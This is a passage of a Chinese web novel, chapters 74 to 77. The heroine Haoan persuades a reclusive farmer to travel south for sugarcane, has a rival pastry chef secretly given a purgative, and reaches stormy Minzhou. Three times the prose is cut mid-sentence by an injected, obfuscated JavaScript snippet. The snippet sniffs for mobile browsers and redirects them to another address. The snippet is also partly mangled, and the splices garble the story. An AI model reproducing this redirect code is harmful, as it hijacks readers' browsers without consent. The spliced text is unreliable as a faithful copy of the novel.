隔日，正如好安预料，村长收到信后立刻召集族老商量了一夜，第二天就派村里的年轻人亲自去了趟府城。 好安接到人后立刻动身，顺带稍上一家三口。 回到万和县就方便多了，在王家的运作下，一家三□□着，但当即就送去了高田县的晒盐厂，尽情去太阳下热烈炙烤吧。 张叔的事完了，好安马不停蹄地赶回好家村。 她在信里说了。她想在好家村办一个制糖作坊。她有技术，村里有人力和场地。唯一缺的是原材料——甘蔗。 甘蔗她提议村里先派人和她一起南下，然后尝试在好家村种植。 不过甘蔗主要生长在南方，虽然好家村的温度勉强适合，最终能不能活还不确定。 但糖的诱惑太大。上好的糖就是奢侈品，普通的糖也是生活必需品。而且食物匮乏的时候糖是能救命的。 就算种植不能成功，从南边运甘蔗回来再做成糖也是有赚头的。 村长怎能不心动。 74. 杂交育种 “安安，你真的会制糖？！” 好安一只脚刚踏进门槛，村长和其他族老立刻围了过来。 七八个人头如浪潮般一下迎面涌了过来，好安不由吓得的后仰。 村长和族老见状才意识到自己太过失态，连忙收起兴奋的笑容，主动后退一步给好安让出一条路。 “抱歉，抱歉，我们刚刚太过激动了。” 村里没有太多的繁文缛节，好安刚走到自己的位置上，族老们就立刻托着椅子凑了过来，好像离得远就听不见似的。 好安这次回来带了自己做的黄.冰糖，正要拿出来时，便听村长大腿一拍，说道：“我们商量过了，必须干！不论甘蔗在好家村活不活，这事只有好处没有坏处。” 还没看到成品呢，就双手赞成。好安没想到村长对她如此信任。 “还是要尝试种的，这样利润大，我们自己也有主动权，不怕没了原料。”好安一边笑道，一边拿出黄.冰糖分给村长和各位族老。 黄.冰糖市面上还没有，可以说是好安独家。 “安安说得对，甘蔗也要种的！”村长笑道。 好安：“这位叔叔伯伯尝尝。” “这也是糖？”一位族老捏起一块，伸直胳膊看了看。 色泽金黄柔和，不像糖，更像河边捞到的亮晶晶的石头。 “嗦。” 有人选择看，有人选择尝。 “确实是糖，能吃出甘蔗味。”村长用舌头把糖从左边推到右边，从上颚推到下颚，整个口腔瞬间都是清爽的甘蔗香。 “这个还没有苦味，味道更醇。只要做出来肯定不愁卖！” “对，真是好东西呀！” “安安，你要我们做什么就直说！”族老们纷纷说道：“村里你看上哪个小伙子就带走。” 看上哪个就带走，说得她好像强抢民男的恶霸。 “带几个脑子灵光有伸手的，最好还擅长种地。” 好安已经想好这次去哪了——樾州。 樾州府和平陵府有千里之遥，注定一路奔波、舟车劳顿。好安一女子出行，身边还是带几个壮汉安全。 “擅长种地的——”村长和族老脑中都闪过一个人影。 “你田叔家隔壁，刘猛，你还有印象不。” “有。”好安点头道，她去田桂家的时候都要路过刘猛家。 刘猛别看名字猛，人可完全不猛。整个人细细长长像一根竹竿似的，随便一家门口的篱笆缝看着都比他宽。 族老：“他是我们村最会种地的，种啥活啥。就是他这个人不爱出门。除了种庄稼和收庄稼，他就呆在家，连赶集都不去。” 爱种地的居然还有宅男！ “那他平日里在家干什么？”好安问道。 “还是种地。他家院子里种得满满当当。能吃的、不能吃的，杂七杂八他都种。他说他要是一天不捯饬那些东西，他就浑身痒痒。”村长皱眉道：“我们马上去和他谈谈，他要是不去，那就……” “那就我再去。”好安插话道，种地宅男、宅男种地，她很好奇。 按照村长和族老说的，这个人应该和草木有缘。要是以前她肯定不屑，可现在她都穿越了还有什么不能信。 拟好一起南下的名单，村长和族老便去了刘猛家。 在刘猛眼里，只有地和地里长的。 人算什么东西。 进门不到一柱香的功夫，好安还没好想好怎么说服刘猛，他们已经被请了出来。 出乎意料的快。 她能怎么办呢，只能直接上啊。 好安走到刘猛家门口，一推开门，便被院子里的景象惊呆了。 之前村长他们说院子种得满满当当，她以为不过是院子里的菜地都被种满了。 没想到是单纯的字面意思。 院子，满了。 从院门口到屋门口，都刨了，没有空地全是地。 她站在门口都不知道第一步该落在哪里才会不踩到这些她见或没见过的花花草草。 “你要是来说出远门的事就赶紧走吧。”刘猛穿着一身短打，拿着铲子躲在地上头都不抬。 “额——”好安一时也不知道说啥，站在门口居然情不自禁地开始数他家里有多少种花花草草。 “你怎么不种竹子？”好安好奇道。 他家很多东西好安都在山里见过，但偏偏没有竹子。 竹子多好，能做成竹筷、竹碗、竹筒，竹子皮切成丝后还能编成各种竹编工艺品，春冬两季还有笋吃，简直浑身是宝。 “那玩意种一根长一窝，除都除不掉。” 说完，刘猛忽然抬头，盯着好安道：“你怎么还在这？” 好安：“我来……” “不去，死都不去。” 刘猛眼里闪过一丝不耐烦，站起身要关门。 “你知道杂交育种吗？”好安两个胳膊一条腿的抵着门道：“杂交，育种，听说过吗？” 刘猛顿住，想了想道：“我只听说过杂种。” …… 好安身世清清白白，但她还是感觉有人在骂人。 “种地怎么能不知道杂交育种呢！”好安见刘猛的手从门上松开，立刻顺杆子道：“就是一品种和另一个品种交合。” “所以呢，他们交合关我什么事。”刘猛面无表情道。 愿意和她说话就行，听说村长他们都没和他说上几句话就被撵了出去。 “当然有，说不定一种植物和另一种植物能杂交出一种，一种更优秀的植物呢。”好安诱惑道：“更优秀的植物哦！说不定花更大、产量更高。” 刘猛：“狗尾巴草能和荠菜杂交吗？” “当然不行，你这太离谱了。”好安脱口道。 “你说的就不离谱嘛？”刘猛冷冷说道：“痴人说梦。” “怎么能是痴人说梦呢！”好安不服，反驳道：“马和驴不就生了骡子吗？这就是杂交。骡子是不是比马能驼东西，是不是比驴速度快！这就是杂交的好处。实例摆在这呢，马和驴能，你怎么就不能？” 刘猛闻言皱眉，不悦地看向好安。 好安捂嘴：“不是说你，是植物怎么就不能。” 刘猛没说话，转身朝地里走去。 好安见刘猛没强行把她撵出去就跟着他的脚步，一步一步走进院子。 进了院子，好安才看见院子全貌。 东南角有两层，一些瓶瓶罐罐被用麻绳吊起来，种了一些野花野草。 西南角还有几颗栀子花，正全力盛开。好安在门外时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371308|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见了。 高高大大，都越过了墙头。 “这栀子花长得真高，怎么种的？”好安忍不住问道。 正常的栀子花一米左右，是绝对高不过墙头，刘猛家的这个看着都不止两米了。 刘猛虽然没撵人，可依旧没搭理好安，好安只好自己用手搭在脑门上观察。 “桂花树？！”好安发现桂花枝丫上绑了布带，再仔细瞧瞧，西南角的地上根本没有栀子花的根系，都是桂花。 “你用桂花树接木，使它们合而为一！” 刘猛听好安这么说倒是来了兴趣，挺意外她还知道接木技术。 “你怎么知道的？”这次轮刘猛主动开口了。 “书上看的。”好安如实回答。 上辈子看的也是看。 “杂交育种也是书上看的。”好安连忙补充道。 刘猛嘴角敷衍的提了提，然后又埋了下去。 “你不想在好家村种甘蔗吗？”好安问道。 刘猛：“谁都知道甘蔗长在南方，好家村的气候不合适。” “你没试过怎么知道不合适。”好安伸出双手晒了晒太阳，“我觉得挺合适的。樾州又不是人都不能住的火炉。好家村最热的时候或许比不上樾州的夏天，但和樾州春秋、初夏能有多大区别。” 刘猛明显顿了一下，闷声道：“种地不止看这些。” “还有降雨、土壤湿度、土壤酸碱值这些呗。” “没想到你还懂一点。” “也是书上看的。”好安追问道：“你真的不想试试在好家村种甘蔗吗？” 刘猛：“种不活的，我小时候去过樾州，带回来不少花花草草。没有一个种活的。” “你去过樾州！”好安垂死病中惊坐起。 她刚刚还想刘猛要是不想去那就花钱从樾州雇个师傅一样能照看回程路上的甘蔗，还能在好家村实地教学一把。 可他说他去过！ 樾州人讲话可是很难懂的，这下好安更想把刘猛捎着了。 “那你带过甘蔗回来吗？”好安问道。 “没。”刘猛抬眉摇头。 “既然没你带过怎么能忘下定论。小时候带的都是花花草草，它们体量才多大，路上没死都是万幸。但我们这次不一样，我们是专门去运甘蔗的，肯定会注意甘蔗在路上的湿度、温度、通风情况等等一系列看似小小但很重要很细节的点。” 刘猛陷入沉思，好安说的不无道理。 小时候他就被夸种地有天赋，结果从樾州带回来的一个都没活，何尝不是一种打击。 深处的记忆被翻起，他当时确实粗糙了些，没考注意路上会遇到的情况。 好安：“去吗？那边还有好多其他植物，到时候还可以顺带带点回来。” 刘猛：“你们什么时候出发？” “看你。”好安身躯一震，激动道：“我们先去趟平陵，然后就走。” “明天吧。明天就走，隔天到平陵然后坐船。现在顺风，一路顺风顺水的情况下最快十天就能到。”刘猛收起农具，走到屋檐下，看向还站在地里的好安，道：“你怎么还不走？” “走，现在就走。”好安拔腿撤离，临关门前还不忘对刘猛道：“明早直接去县里的好记找我就行！” 75. 槟榔 从平陵出发前好安还有一件事没办。 老铺栽赃陷害好记的事她还没算呢。 断好记的糖源是一件事，说好记甜品不干净是另外一件事，她好安可是个事事分明的优秀市民，二者怎能混为一谈。 如果不让老铺点心铺吃瘪，她南下的路上肯定日日难眠，做梦都是拿发霉的紫菜往老铺东家的嘴里塞。 但报复这种事又不能太过光明正大，毕竟她在平陵还没有多少根基。 最好搞一件看着不大，影响又不小，必须让老铺东家一口气上不来也下不去的事。 要不学习现代商场里的香水大战，他们用对家的香水喷公共厕所，我们把老铺的点心扔茅房？ 好安今年在平陵的灵山寺上香时体验过一把现在的公共厕所。 灵山寺的公共厕所又叫东司。一个东司便占了近一亩的地，能同时容纳十八人一起办事。 设施也十分完备，坑位和坑位之间都设有隔板，避免办事时尴尬。每个隔板间内放置香炉焚香中和异味。 地面还铺设竹木地板，需要脱鞋进入以保持洁净。 好安去的时候天气微凉，中央悬挂了长竹竿可用来悬挂衣服、首饰。下方设了木炭炉，既能供暖，又能烘干手巾。 隔间外还有去污用的炉灰、蒸土、藻豆和热水。办完事后有倾脚头，就是专门收集代谢物的人回收作肥料。 脱鞋如厕、焚香驱臭一套流程下来十分精细。 平陵街上的一些公厕干净整洁不说，甚至在厕所里摆上时下流行的书籍小说，供办事人阅读，但这种大部分是收费的。 要是用这招，花钱不用说，还有前脚扔了后脚就被清理的风险。 要不参考拉对方电闸这一招，派人去掀了老铺的炉灶，填了老铺的井，让他们打不了水、用不了火？ 不行，好安立刻摇摇头压下这个主意。 这招报复意味太明显，搞不好老铺东家卖个惨收获大家的怜爱怎么办。还不如用热水浇对方的发财树。 发财树？ 这个好像真行！ 老铺的发财树不就是李师傅吗？把他干扒了不就行了？ 最好干扒的同时再加一点别的料。 好安想了想李师傅的模样，眼珠一转，善心大发，提笔“刷刷刷”写了个水方。 “你有办法能让老铺的李师傅吃这个药方吗？”好安问道。 谢宗林一看便知道这方子干什么用的，点头道：“行。” “那这件事就交给你啦，这样我也放心。可惜看不到老铺东家精彩绝伦的表情了，还怪遗憾的呢！” 想到老铺东家的脸上即将出现的赤橙红绿蓝靛紫，好安就开心。 “我不去吗？”谢宗林拿着水方震惊道。 “你去不了。这次要坐船。”好安解释道。 谢宗林垂下眼眸，嘴角勉强扯出一丝苦笑，笑容里满是无奈。 他一直以为他们会一起去。 明明曾经都是一起，一起摆摊，一起采灯笼草，一起做饭，一起吃饭，一起来县城，一起来府城，直到一张轻飘飘的船票，把他打醒。 船票要用户籍文书买，他还是个黑户。 这一年多过得太舒心了，他都快把这件事忘了。 之前总觉得隐姓埋名在一个地方一直住着，不惹事、不生事，户籍文书这玩意可有可无。 而如今不同了，他想跟在好安身后，光明正大的跟在好安身后。 谢宗林的肩膀下垂，整个人像是失去了活力，被遗忘在角落里，尘埃里。 好安轻轻拍了他的肩膀，半玩笑半安慰道：“男子汉大丈夫怎么哭了呢。” “我没哭。”谢宗林仰头，嘟囔道：“我只是觉得我好没用，帮不上你什么忙。” 他知道好安这趟必去无疑，自己也应该全力支持，可心里就是空落落的。 好安赶紧把谢宗林拉到一边坐下，道：“怎么会，我离开后好记可是交到你手里！你帮我管理好记这可是大忙，只有你能办的大忙！” 谢宗林：“你去外面找聘个掌柜也能帮你管理好记。” 一米八几的大高个怎么跟七八岁的孩子一样不仅撒娇还别扭来。 “那怎么一样！”好安脱口道：“外面找的都是外人，不好。” 外人，这么说他是自家人喽。 谢宗林下垂的嘴角微微抬了抬。 好安前前后后又安慰了一盏茶的功夫，谢宗林的脸色才好看些。 可一想到好安还是得离开，刚因为一句自我解读出来的“自家人”上抬了两秒的嘴角又落了下去。 于是谢宗林的嘴角起落起落起落落。 好安南下后，好记一切如常，老铺也一切如常。 —— “秘方秘方，专治腹泻腹痛后不利，一包见效，两包痊愈！” 这几天，李师傅家附近的巷口总有江湖郎中徘徊。 有的人家听得烦，有的人家却竖起耳朵。 李师傅媳妇就是后者，她暗中瞄了两回，就是想看看有哪些人上前。 巧了，她家隔壁赵娘子就去看了。 “赵娘子。”等巷口没人了，李师傅媳妇才敲了敲小娘子家的门。 “李婶子，快请进。”赵娘子明显还没来得进屋，手里还握着江湖郎中给的药方。 “你身体是不舒服吗？怎么去看郎中了？”李婶子明知故问。 “我，就是。”赵娘子支支吾吾。 “是不是你的小日子出什么问题了？咱俩都是女的，有什么不好意思。”李婶子贴心道：“有什么可以跟婶子说说，婶子这把年纪了经验肯定比你多。” 赵娘子刚成婚不久，方二八年华。平日里被家里呵护着长大没什么心眼，李婶子说上几句便哄的她什么都说了。 “我最近饭量一下变大了。” “这是好事呀！”李婶子点了点赵娘子的肚子，笑道：“说不定是有了。” “不是。”赵娘子红着脸苦笑道：“我开始也以为是，可我小日子一直正常，而且光吃不长肉。还经常肚子痛。” “哦！怎么说？”李婶子微微前倾道。 “刚刚那个大夫说我肚子里又虫。”赵娘子瘪瘪嘴，一副快要哭了的模样。 李婶子：“庸医，瞎说的。” “没。他说的每个症状我都对上了。” “虫子怎么可能三跑到肚子里去呢。” “会的。大夫说我吃肉如果不煮熟就会藏在肉里进去。”赵娘子委屈道。 赵娘子家厨娘，但她偶尔会下厨。之前做过几次半生不熟的肉，当时觉得没什么问题也懒得回锅就吃了。 “是这样吗？”李婶子微微皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381379|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉。 他家那口子吃的杂，前阵子不知道是不是吃坏东西了，这几天总是拉肚子不见好，症状和赵娘子说的还有点像。 “你应该去医馆看看。”李婶子说道。 赵娘子羞得直跺脚，道：“这怎么能上医馆呢。这病去医馆万一要脱裤子怎么办。” “肚里有虫怎么又要脱裤子？”李婶子不解，说道：“医馆总比这些江湖郎中靠谱吧。” “怎么不要。”虽然院子里没人赵娘子还是捂着嘴道：“我嫂子老家那里有人后面养，然哪里就爬出好长一根虫子呢！” “咦。”李婶子面露嫌弃而后转为担忧。 赵娘子：“这个江湖郎中是我嫂子介绍给我的。她邻居和我情况特别像就是吃了他的方子，然后真拉出虫子了。说之前肚子疼和拉肚子就是虫子在作坏，怎么吃都不胖也是因为吃下去的油水都养虫子了，没养人。” 李婶子一想，好自家那口子最近确实吃得多偏偏还瘦了。 “你那方子是什么？能给婶子瞧一眼吗？”李婶子迫不及待的问道。 “可以啊。”赵娘子大方道：“婶子家是有谁也这样吗？” “没。”李婶子连忙摇头，道：“是我有个朋友有面这症状。” “槟榔打碎煎浓汤并槟榔末服用，就这个？”李婶子问道。 赵娘子一边叠起方子，一边说道：“对，大夫说早上要空腹服用。” “那大夫说了要用多少槟榔吗？” “大概这么多。”赵娘子比划道：“大夫说我症状轻少用点就好。” “那症状重就多用点？”李婶子推测道。 “应该是吧。医馆的大夫见病得重的不就会加大药量吗？”赵娘子也不确定，说道：“大夫明天就要去其他地方了，我知道他住哪，要不我带你过去问问。” “不用不用。”李婶子连连摇头：“我们家又没人有虫，我就是帮我朋友问问。你告诉我地址，我让她自己去问。” “行。”赵娘子拿来笔墨写了下来。 李娘子回到家见地址太远还得雇辆马车，见了大夫肯定还要诊费。 她都知道方子了也没去的必要，左右不过是加大用量或者多喝几顿。 于是她直接去了附近的医馆抓药。 “一两槟榔有多少？” 药童抓了六个个放在称上，然后又添了半个小的，道：“这么多。” 这么多好像和赵娘子比划的差不多。 不够！ 李婶子：“这个小的不要，给我再拿四个，然后磨碎。” “槟榔消食行气，最好不要和黄连、大黄这些寒性清热的药材同用。”药童好心提醒道。 “一百一十六文。先付钱后磨粉。” “知道。”李婶子爽快付了钱。 第二天，李婶子天没亮便起床煎药，趁着李师傅还没吃饭，赶紧把汤药推给他。 李婶子：“你不是那痒吗？赶紧趁热喝了。” “这什么玩意，闻着又苦又辣。”李师傅扭头说道。 “槟榔汤，专门治你的。” “你又从哪看来得偏方？” “那还不是你不愿意去医馆吗？你要是愿意去我省多少事。” “又不是什么大病，去什么医馆。”李师傅嘴上说着，手还端起碗喝了个干净才去老铺。 76. 凉茶 老铺比好记更靠近淮清河，未时又摆上了冰块，下午人流不错，东家难得挂了笑脸。 “这几样买的最好，你今天多做些。”老铺东家指挥道。 “好。”李师傅捂着肚子，今天从午时他就觉得腹部像是有什么东西蠕动，可静下来仔细感受好像又没有，应该是最近拉肚子拉多了的错觉吧，李师傅便没当回事。 李师傅原是老铺东家的厨子，在他家干了十几年。老铺东家恰因妹妹被“糖王”纳入门，他便想借着“糖王”的便利自己做点小生意。正好自家厨房里有个擅长做点心，他便合计开了老铺点心铺。 老铺的招牌点心是油甘饼，也是李师傅最拿手的点心。 油甘饼看着和桃酥十分相似，表皮微微裂开还都散上了芝麻，但二者吃起来的口感截然不同。 桃酥干脆酥甜、奶香四溢、入口即碎。油甘饼甜而不腻、软而不皮、酥而不碎，一口下去蓬松暄软，满是红糖和芝麻的香味。 二者皆有特色。 李师傅正在把熬好的糖浆和面粉混合，忽然肚子疼得无比剧烈，某种欲望直冲天灵盖。 他连忙嘱托了几句，慌乱的把手里的面团递给学徒。 可惜肠胃不饶人，无法□□。李师傅紧赶慢赶还是慢了一步，虽然双脚已经踏出厨房，但味道完全不受空间的限制。 李师傅解脱的那一刻便知道完了。 “听说了吗？老铺点心后厨不干净。” 如今街头巷尾都在讨论这件事，再加上谢宗林暗中煽风点火。除了大爷大妈、大叔大婶，一些年轻的小娘子小郎君一闲下来也要提上几句。 尤其此事事关饮食和卫生健康，医馆的郎中格外爱提，并以此为例和病人宣讲。 “我听说老铺后厨和茅房就挨着。” “不是说是老铺的点心师傅闹肚子吗？” “那也不行啊。我当天就在场，肚子闹得这么厉害就应该休息一天，不然不是祸害人吗？再说好端端的怎么就闹肚子了？” “我听说那师傅还拉出活虫子来呢？” “咦真恶心。” “人怎么可能拉出活虫子。我听说是老铺食材坏了才长的虫子？” “怎么不会，我特意问过我儿子了，他是大夫。他说吃的东西不干净就会这样！” “真的假的。他一个做的点心居然不讲卫生！” “那他做的东西还能吃吗？” “反正我儿子不让我买了。” “那我也不买了。” ———— 另一边，好安坐的船突然在岷州停了。 “下船喂，下船喂。”船工到船舱开始挨个敲门撵人。 好安这几日在船上颠簸，作息混乱，好不容易刚睡着又被吵醒。 她顶着惺忪睡眼，探出门问道：“师傅我们是到樾州的，不用岷州。” “什么樾州不樾州，船现在只到岷州啦。”船工摇手道。 “可我们买的船票是到樾州。” 说着，好安翻出船票。 船工看都不看地说道：“现在还有谁敢坐船去樾州，你要是想就自己游过去，反正我们是不去的啦。” 船工态度坚决，今晚所有人必须下船。 好安没了睡意，问道：“那我们多付的票钱呢？” 船票本来就贵，樾州和岷州的船票一人就差了两百多文。他们一行六人，一共差了一两多的银子。这可不是小钱。 对门的船客刚好出门，他行李多占了大半个走道。船工无法往前，只好一边贴着船舱给船客腾出空地，一边不耐烦的对好安说道：“又不是我买给你的票，你问我干什么。” “小娘子是第一次去樾州吧。”此时隔壁出来一对母子。 “你怎么知道？”好安面露惊讶。 其中的母亲说道：“樾州那一块有水匪，上个月有两艘客船路过樾州，结果船上的人全被水匪绑了，现在是生是死都不知道呢。所以现在所有的商船、客船都不敢去了。明天这艘船还要回程，小娘子若是真想去樾州还是赶紧下船改走陆路吧。” 说话间，好安看了看四周，所有人都在默不作声的下船。 “你们几个还下不下船啦。”船工走到头，见好安还没动身，便在前头喊道：“不下船就赶紧补回程票啊。” “下。”好安连忙拿起行礼，其他五人也纷纷跟在好安身后下船。 此时船已经停靠在码头，船上众人都大包小包的堵在甲板上，等着码头的人放置调整下船的跳板。 “这里可真热，我没动就出汗了。”和好安一起的小伙子说道。 “等到了晚上会好些。” 好安抬起手挡住西晒的太阳。她扫了一眼码头的人，发现大家都是短衫宽腿裤，女的还会头戴黄斗笠或者花头巾。而他们一行人还是长袖长衫，不热才怪。 越往南越热，等下船去给大伙买一套当地的衣服吧，不然中暑可麻烦了。 下了船，码头上人流不息、繁忙而喧嚣。脚夫们弓着腰，扛着沉重的麻袋和木箱，在岸上和船上往返。 再往前一点都是小贩，卖些简单的吃食和饮子。 “来六碗凉茶多少钱。” 好安走到一个看着比较干净的小摊子面前问道。 “一碗两文，一共十二文。”小贩连忙起身迎客。 “好贵，安安我们喝白水就行。”一个汉子站在好安身后小声嘟囔道。 他们这次出来都是花好安的钱，也不好意思花太多能省则省。 “不贵的。”小贩耳尖，笑道：“这几里面放了好几种药材，天热的时候喝上一碗又凉快又解渴。” “喝凉茶比喝白水好。”好安说着数了十二个铜板放在案桌上，道：“岷州炎热潮湿喝凉茶能清热解暑。” “对！还是这位小娘子懂行，”小贩一边倒凉茶，一边笑吟吟道：“我的凉茶可是祖传的手艺，既能清热解暑，还祛湿排毒。不少客人都进城了还特意跑回来买呢！” 小贩：“那还有张空桌，你们先坐。” 说着，小贩挨个端上凉茶。 “这颜色怎么黑乎乎的，一点都不像茶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385610|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都说了放了药材，赶紧喝。” 凉茶看似常温其实微热，好安习惯性的吹了口气，然后小小的抿了一口。 入口微苦，但第二口便能品出一丝甘甜和清凉。 其他人见好安喝得如此淡定便也轻轻或重重的来了一口。 还没咽下，其中一人的脸色已经变了。另一个和他相熟的人立马捂住他的嘴，说道：“喝，花了钱的，不能浪费！” 脸色大变的汉子双眼含泪，可怜兮兮的点点头。直到他喉咙滑动了两下，另一个人才放心松手。 “好苦！凉茶就没有甜一点的吗？” 好安还没开口，便听小贩道：“有甜的，但甜的才苦。” “怎么可能，甜的东西怎么会苦。”众人不信。 好安摇摇头，附和小贩道：“苦的凉茶先苦后甜，甜的凉茶先甜后苦，然后苦一天。” 这是她上辈子喝出的经验。 先甜后苦的凉茶那苦味能一天不散。 “你以前来过这？”一直沉默的刘猛忽然问道， 好安立马警惕起来，否认道：“没有！” “那你怎么知道这些？” “书上看的！”好安一口闷完，理直气壮道：“再说了谁家的药不苦。” 刘猛意味深长的看了好安一眼，见好安侧头和小贩聊天，这才把目光转向桌上的凉茶。 “刘哥你快喝呀！”其他四人好不容易狰狞地喝完，回头发现居然还有一人一口未动。 这怎么能行，出门在外大家就是好兄弟，好兄弟当然要有苦一起吃！ 刘猛在众人的期待下双手端起凉茶，像是为了确定什么，他先是闻了闻，第一口试了试温度，然后便是仰头一口闷完。 “刘哥，感觉怎么样？是不是很苦？”其他人迫不及待的问道。 刘猛面色如常：“喝的太快了没什么感觉。” “真的吗？”其他四人面露失望，他们还想看刘猛龇牙咧嘴的表情呢，没想到人家没感觉。 喝完凉茶，好安带着众人往岷州城内走去，她刚刚问了小贩，因为最近船不到樾州，只有陆路一个方法，所以岷州去樾州这条线路的车马生意特别好，都需要提前一两天预订。 或许是时间已晚，好安问了好几家车马行都说明天去樾州的马车定完了，最近的只有后天早上的。 “岷州也有很多地方种甘蔗，要不先看看岷州的？”刘猛建议道。 “可最近也不是甘蔗的成熟季节，外面都没有卖甘蔗的，我们去哪里找到蔗农？”好安忧心道：“难不成直接问？” “差不多。”刘猛说道：“岷州南边的三南县和明安县是岷州种甘蔗最多的地方，我们可以去哪里看看。” “也行。”现在虽然不是甘蔗的成熟季节但也到了甘蔗的伸长期。 好安也是作足了功课。 伸长期是甘蔗生长的关键时期，这个时候甘蔗的高度和粗细都会肉眼可见的增加，能直接影响甘蔗的产量。 “那就先找客栈住下，明后两天挨个去看看，然后大后天去樾州。” 77. 山海兜 岷州是府城，朝廷在这设有专门负责海上贸易的市舶司。 大晏的瓷器、茶叶、丝绸从这里流向世界各地，世界各地的香料、珍珠、象牙、甚至马匹又从这里流向大晏。 这里的港口同时也是大晏最大的对外港口，一艘艘巨大的商船，如同一座座移动的城堡停在港口的各个角落。 每日天没亮港口便已热闹非凡，月亮升起之时还会有船扬帆起航，不分昼夜。 和诸国货物一同前来的还有大量外族人。他们给岷州传统美食注入了别样的风味。 现在的人喜欢吃兜子，石首兜子、鹅兜子、杂馅兜子……种类繁多各有特色。 在岷州最受欢迎兜子莫过于山海兜。 山海兜食如其名，兜山海之味。 能集山海之味这完全依赖岷州依山傍海得天独厚的自然条件。 山珍便是山里的野菜、竹笋，海味则是海里的鱼虾。 四种食材都先切成先丁，分别以汤瀹之、用汤蒸之。然后拌入盐、熟油、酱和舶来的胡椒。再装入用绿豆做的半透且微微弹压的粉皮里，或折叠或用小葱扎口，最后置于盏内蒸熟。 一个山海兜十分小巧，好安一口咬下去，鱼虾之鲜滑、笋蕨之清新，如山海之风至繁至简。 岷州的美食远不止山海兜。 用猪骨、鱼刺熬汤，加入碎面线和红薯粉做成的龙须珍珠粥细腻柔软、鲜味十足。 用炒过老姜的芝麻油煸当地的老鸭，再加入酒、糖、酱和一些药材一起炖煮的药膳鸭是和平陵鸭子截然不同的风味。 还有用花生和鸡蛋做汤、用芋头炸饼…… 每一种都别有一番滋味。 “嗝——”。 四位壮汉，刘猛不算，喝完最后一口粥满足的打了一个饱嗝。 “吃完我们干嘛？” “早点睡。明天我们要早起赶去三南县，听说那里……” 话音未落，客栈的门“嚯”的一下被推开，一股强烈风猛地袭来。 好安连忙用手挡在眼前，侧头看去。 风卷着地上的落叶和尘土不停的打旋，把它们带到空中又无情的抛下。紧接着一道隐闷的雷声从天边传来。 “起风了，要下雨啦。”掌柜习以为常的关上门窗，对客栈里的客人笑笑，说道：“今晚有雨，麻烦大家关好门窗。” 说完又站回原来位置。 “他们管这叫起风了？”一位壮汉惊叹地伸直胳膊比划道：“你们看见没，刚刚有个这么长的树枝都被吹起来了。” “正常，岷州靠海，春天和冬天的风更大。树都能连根拔起。”刘猛剥了一个花生塞进嘴里，道：“这花生不错，脆脆的。” 他一路下来，发现好安真的会吃，还嘴挑。这盘客栈送的花生看着平平无奇，但她已经吃了一大半，吃肉的时候都没见她这么欢。看得他也忍不住抓了一把，果然吃起来清新自然，就算冷了香味也依旧持久，绝好的下酒菜。 好安皱眉：“这天气明天我们还能去三南县吗？” “不好说。”刘猛又抓了一把花生，道：“今晚风刮够了，雨下够了就能去。要是不停还是得等。住海边就是这样，一会好天，一会下雨。” 客栈住的都是外乡人，不少此刻也在窸窸窣窣地谈论这天气。 “我看今晚有得下了。” “幸亏我的货已经装完。” “先打雷了，是不是雨来的快去的也快。” …… 风雨天定，好安也没有办法，只能各回各房睡觉。 第二天风小了，但雨依旧，好安一直等到巳时也不见有停的趋势。 路上依稀有了人影，好安便雇了一辆宽敞一些的马车朝三南县敢去。 “怎么说？”好安撑着伞，站在田埂上问道。 刘猛一路小跑来，摇摇头道：“闭门羹。他们这几乎都被糖商包了，而且昨晚大风吹断了不少甘蔗，他们每家都在忙着加固甘蔗，都没人搭理我们。” 说着，刘猛看了看天，黑云又沉沉的压了下来，天空半明半暗。 “我们还是找个地方躲躲吧，这天看着又要起风了。” 说时快，那时迟，好安手里的伞的长伞骨已经被风吹折了一半。附近的树枝也被卷断，仅剩一侧的树皮还连在树上。 风好像从四面八方来，貌似比昨晚的还要大。几个汉子拉着刘猛立刻挡在好安身前身后，生怕她被吹跑了。 “前面……荒庙……石头……去哪里。”刘猛的声音也被狂风吹得七零八碎，但幸好离得近，大伙也听明白意思。 雨滴凌乱的打在脸上，伞已经没用了，六个人都收了手里的伞，正在泥泞的路上艰难前行。 忽然，风里传来隐约的哭声。 “好像有人。”好安扯着嗓子说道。 其他五人于是停了下来，凑成一团冲好安点头，表示他们也听见了。 “在那里。”不远处的一个田埂边上，有一个小孩半弯着腰，她被风吹得都快站不稳了，但还是一步一步的往前挪。 “我们一起过去。”刘猛大声道。 众人刚顶风走了几步，小孩前面的一颗树忽然朝小女孩的方向歪了歪，露出细细碎碎的树根。 